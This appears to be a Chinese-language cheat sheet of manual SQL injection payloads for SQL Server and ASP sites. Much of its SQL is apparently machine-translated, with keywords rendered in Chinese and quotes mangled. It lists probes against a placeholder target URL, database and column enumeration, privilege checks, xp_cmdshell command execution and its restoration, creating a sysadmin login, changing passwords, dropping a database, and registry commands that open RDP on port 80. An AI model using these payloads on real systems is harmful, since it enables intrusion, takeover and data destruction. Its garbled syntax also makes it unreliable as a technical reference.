手工该注入常用SQL语句

个人收集整理


和存在(select * from sysobjects)//判断是否是该软件

和存在(从表select *)//判断某表是否存在. .表为表名

, 1=(选择@@VERSION)//该版本

, 1=(选择db_name())//当前数据库名

, 1=(选择@@servername)//本地服务名

, 1=(选择IS_SRVROLEMEMBER (sysadmin))//判断是否是系统管理员

, 1=(选择IS_MEMBER (db_owner))//判断是否是库权限

, 1=(选择HAS_DBACCESS('大师'))//判断是否有库读取权限

和1=(从master.dbo选择名称。sysdatabases dbid=1)//暴库名dbid为1、2、3 ....

;宣布@d int//是否支持多行

和1=(从master.dbo选择count (*)。sysobjects xtype=癤”和name=' xp_cmdshell ')//判断xp_cmdshell是否存在

和1=(从master.dbo选择count (*)。sysobjects name=' xp_regread ')//查看xp_regread扩展存储过程是不是已经被删除

添加和删除一个SA权限的用户测试:(需要SA权限)
exec master.dbo。sp_addlogin测试,
exec master.dbo密码。sp_addsrvrolemember测试,sysadmin

停掉或激活某个服务。(需要SA权限)
执行主. .xp_servicecontrol“停止”,“安排”
执行主. .xp_servicecontrol‘开始’,‘计划’

暴网站目录
create table labeng(拉拉nvarchar (255), id int)

声明@result varchar (255) EXEC master.dbo。xp_regread”HKEY_LOCAL_MACHINE”、“系统\ \ W3SVC \ \ ControlSet001 \服务参数虚拟根”,“/?@result输出插入labeng(拉拉)值(@result);

, 1=(从labeng选择(拉拉)或者,1=(select count(*)从labeng lala> 1)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -分割

DOS下开3389并修改端口号
sc配置termservice开始=autco

净开始termservice

//允许外连
reg添加“HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ \控制终端服务器”/v fDenyTSConnections/t REG_DWORD/d 0 x0/f

//该3389端口到80
reg添加“HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ \控制终端服务器\ WinStations \ RDP-Tcp”/v PortNumber/t 80 REG_DWORD/d/f


SQL Server

判断是否可注射:

http://www.targer.com/article.asp?id=6

http://www.targer.com/article.asp?id=6 '

http://www.targer.com/article.asp?id=6和1=1

http://www.targer.com/article.asp?id=6和1=2

http://www.targer.com/article.asp?action=评分值,1=1

http://www.targer.com/article.asp?action=值”1=2

试用版%’,1=1

试用版% ',1=2

确定数据库类型:

http://www.targer.com/article.asp?id=6和user> 0

http://www.targer.com/article.asp?id=6 (select count(*)从sysobjects)在0

查询当前用户数据信息:

article.asp吗?id=6有1=1,

暴当前表中的列:

article.asp吗?由管理员id=6组。用户名有1=1,

article.asp ?admin.username id=6组的管理。密码有1=1——

暴任意表和列:

和(选择1名(选择前N id,名称来自sysobjects xtype=char (85)) T命令id desc)在1

(选择col_name (object_id (“admin”), N)从sysobjects)在1

暴数据库数据:

和(选择1密码从管理员id=N)在1

修改数据库中的数据:

;更新管理员设置密码=皁ooooo”用户名=皒xx”

增添数据库中的数据:

;插入admin值(xxx, oooooo)

删数据库:

;减少数据库webdata

获取当前数据库用户名:user> 0

获取当前数据库名:和db_name()在0

获取数据库版本:,(选择@@version)在0

判断是否支持多句查询:;宣布@a int -

判断是否支持子查询:和(select count(1)从[sysobjects])在=0

数据库的扩展存储过程:执行主. .xp_cmdshell

查看服务器C盘目录:;exec_master . .xp_cmdshell“dir c: \”

判断扩展存储过程是否存在:并从master.dbo select count (*)。sysobjects xtype=皒”和name=' xp_cmdshell '

恢复扩展存储过程:;exec sp_addextendedproc xp_cmdshell, xplog70。dll '

删除扩展存储过程:;exec sp_dropextendedproc”xp_cmdshell”

是在回中提供了一些函数用于访问OLE对象间接获取权限:

;宣布@ int

; exec sp_oacreat”wscript。壳”,@

;执行主. .spoamethod @,‘快跑’,null, cmd。exe/c dir c: \ "

判断当前数据库用户名是否拥有比较高的权限:

和1=(选择is_srvrolemember (sysadmin))

和1=(选择is_srvrolemember(服务器))

和1=(选择is_srvrolemember (setupadmin))

和1=(选择is_srvrolemember (securityadmin))

和1=(选择is_srvrolemember (diskadmin))

和1=(选择is_srvrolemember (bulkadmin))

判断当前数据库用户名是否为DB_OWNER:

手工该注入常用SQL语句